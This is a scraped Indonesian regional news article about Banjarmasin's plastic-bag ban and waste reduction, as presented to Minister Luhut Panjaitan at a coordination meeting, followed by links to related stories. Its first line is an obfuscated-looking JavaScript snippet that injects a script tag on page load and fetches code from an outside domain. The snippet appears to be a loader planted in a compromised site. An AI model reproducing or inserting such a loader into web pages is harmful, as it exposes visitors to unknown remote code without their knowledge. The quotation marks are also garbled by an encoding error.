(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Menteri Koordinator Bidang Kemaritiman RI Luhut Binsar Panjaitan akhirnya tak dapat membendung rasa penasarannya terhadap Perwali tentang Larangan Penggunaan Kantong Plastik bagi Ritel dan Toko Modern yang diterapkan Pemko Banjarmasin. Makanya, saat memimpin Rapat Koordinasi (Rakor) Pengelolaan Sampah dan Pengurangan Sampah di Laut bersama Walikota Banjarmasin Ibnu Sina dan lembaga terkait, Lihut pun mengajukan usulan agar pada akhir Juli 2018 nanti Rakor kembali dilaksanakan di Banjarmasin.
Menanggapi keinginan Luhut, Walikota Ibnu Sina pun menyanggupi menjadi tuan rumah. “Kami siap menjadi tuan rumah Rakor akhir bulan Juli ini,†katanya.
Rakor yang dilaksanakan di Gedung Kemenko Bidang Kemaritiman Jalan M H Thamrin, Jakarta Pusat, H Ibnu Sina menyampaikan, dengan adanya Perwali tentang Larangan Penggunaan Kantong Plastik bagi Ritel dan Toko Modern tahun 2017 lalu, Banjarmasin bisa menekan 50 juta lembar kantong plastik. Walikota mengatakan, awalnya memang banyak yang penentangan Perwali tersebut. Namun dengan dukungan semua pihak, kini Perwali tersebut sudah dapat diterima masyarakat.
Bahkan, bebernya lagi, kini Kota Banjarmasin gencar melaksanakan sosialisasi agar masyarakat yang memiliki mobil dan sepeda motor, wajib membawa kantong belanja dikendaraannya. “Jadi kapan pun dan di mana pun mereka ingin berbelanja dipastikan selalu ada kantong belanja,†katanya.
Ibnu Sina yang mantan anggota DPRD Kalsel ini mengatakan, saat ini pihaknya juga tengah memperbanyak bak sampah. “Tantangan terbesar kami adalah perilaku masyarakat, mereka telah kami beri sosialisasi agar dapat merubah paradigma. Geografis Kota Banjarmasin dibelah oleh sungai, kalau dulu sungai menjadi beranda belakang, sekarang kita jadikan sungai adalah beranda depan rumah. Hal ini sudah kami coba di beberapa tempat, rumah yang dulunya membelakangi sungai, sekarang sudah menghadap sungai,†jelasnya
Dengan beranda rumah menghadap ke sungai, kata Ibnu Sina, maka sampah yang dulunya selalu dibuang ke sungai maka hal tersebut tidak terjadi lagi. “Banjarmasin menghasilkan sampah 600 ton perhari, tapi sekarang sudah menurun sekitar 30 persen. Dan di Banjarmasin terdapat 210 unit bank sampah yang tersebar hampir di seluruh pelosok kota,†pungkasnya.(ammar)
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
This website uses cookies.